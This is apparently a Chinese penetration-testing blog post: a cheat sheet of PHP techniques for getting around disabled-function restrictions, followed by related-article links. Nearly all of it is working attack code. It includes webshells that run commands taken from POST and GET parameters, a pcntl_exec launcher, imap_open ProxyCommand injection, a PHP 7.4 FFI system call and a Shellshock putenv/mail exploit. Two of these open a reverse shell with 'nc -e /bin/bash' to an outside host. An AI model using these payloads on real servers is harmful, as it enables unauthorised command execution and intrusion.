WEB渗透Bypass篇-常规函数绕过

常规函数绕过
复制代码
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
复制代码
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
复制代码
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
复制代码
php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

复制代码
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
相关推荐
德迅云安全-小潘5 小时前
网络威胁演变与态势感知的防御
安全·web安全
一岁天才饺子6 小时前
SSRF漏洞绕过与漏洞解决
网络·网络安全·ssrf
Chengbei116 小时前
fastjson 原生反序列化配合动态代理绕过限制
java·安全·网络安全·系统安全·安全架构
m0_466049977 小时前
Webgoat-(A1)Broken Access Control:Hijack a session
web安全·网络安全
Chengbei118 小时前
CVE-2025-24813 Tomcat 最新 RCE 分析复现
java·安全·web安全·网络安全·tomcat·系统安全·网络攻击模型
德迅云安全-小潘8 小时前
网络空间资产安全发展演进与实践框架
数据库·web安全
QZ166560951599 小时前
2025年国内精细化、可交互、轻量级的泛监测体系产品推荐
网络安全
Blossom.1189 小时前
多模态大模型实战:从零实现CLIP与电商跨模态检索系统
python·web安全·yolo·目标检测·机器学习·目标跟踪·开源软件
GoldY丶9 小时前
【Geek渗透之路】小迪安全笔记——web安全(3)
笔记·安全·web安全·网络安全·安全威胁分析
晚风(●•σ )11 小时前
【华为 ICT & HCIA & eNSP 习题汇总】——题目集27
网络·计算机网络·网络安全·华为